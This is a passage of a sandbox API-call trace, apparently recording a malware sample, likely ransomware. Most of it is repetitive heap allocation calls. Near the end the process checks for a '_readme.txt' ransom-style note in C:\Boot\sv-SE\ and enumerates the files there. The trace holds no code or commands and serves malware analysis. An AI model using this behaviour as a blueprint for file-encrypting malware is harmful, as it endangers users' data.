lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.649] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.649] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.649] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.649] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.649] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.649] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.649] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.649] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.650] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.650] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.650] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.650] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.650] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.650] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.650] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.650] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.650] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.650] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.650] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.650] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.650] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.650] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.650] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.650] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.650] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.650] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.650] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.650] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.650] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.650] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.650] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.650] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.650] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.650] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.650] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.650] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.650] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.650] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.650] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.650] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.650] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.650] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.650] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.650] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.650] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.651] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.651] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.651] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.651] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.651] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.651] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.651] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.651] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.651] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.651] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.651] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.651] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.651] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.651] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.651] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.651] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.651] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.651] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.651] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.651] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.651] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.651] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.651] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.651] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.651] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.651] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.651] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.651] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.651] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.651] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.651] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.651] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.651] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.651] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.651] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.651] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.651] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.651] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.652] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.652] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.652] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.652] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.652] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.652] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.652] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.652] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.652] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.652] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.652] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.652] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.652] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.652] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.652] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.652] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.652] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.652] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.652] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.652] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.652] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.652] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.652] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.652] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.652] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.652] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.652] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.652] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.652] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.652] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.652] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.652] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.652] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.652] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.652] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.652] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.652] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.652] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.653] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.653] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.653] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.653] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.653] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.653] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.653] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.653] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.653] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.653] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.653] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.653] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.653] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.653] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.653] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.653] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.653] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.653] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.653] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.653] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.653] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.653] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.653] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.653] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.653] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.653] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.653] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.653] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.653] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.653] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.653] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.653] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.653] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.653] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.653] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.653] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.653] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.653] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.653] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.654] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.654] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.654] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.654] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.654] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.654] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.654] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.654] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.654] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.654] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.654] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.654] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.654] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.654] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.654] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.654] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.654] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.654] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.654] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.654] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.654] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.654] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.654] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.654] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.654] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.654] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.654] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.654] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.654] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.654] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.654] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.654] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.654] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.654] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.654] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.654] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.654] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.655] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.655] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.655] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.655] PathFindFileNameW (pszPath="C:\\Boot\\sv-SE\\") returned="sv-SE\\" [0059.655] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.655] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.655] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.655] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.655] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.655] PathFindFileNameW (pszPath="") returned="" [0059.655] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.655] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.655] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.655] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x800) returned 0x306a418 [0059.655] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.655] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x30c8ab8 [0059.655] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.655] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.655] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.655] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.655] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.655] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.655] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.656] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.656] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.656] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x81c) returned 0x30c8ab8 [0059.656] PathAppendW (in: pszPath="C:\\Boot\\sv-SE\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned 1 [0059.656] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.656] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.656] PathFileExistsW (pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned 1 [0059.656] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.656] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.656] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13c94a50, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c94a50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.656] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.656] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13c94a50, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c94a50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.656] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.656] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.656] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30181a8 [0059.656] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.656] PathFindExtensionW (pszPath="C:\\Boot\\sv-SE\\bootmgr.exe.mui") 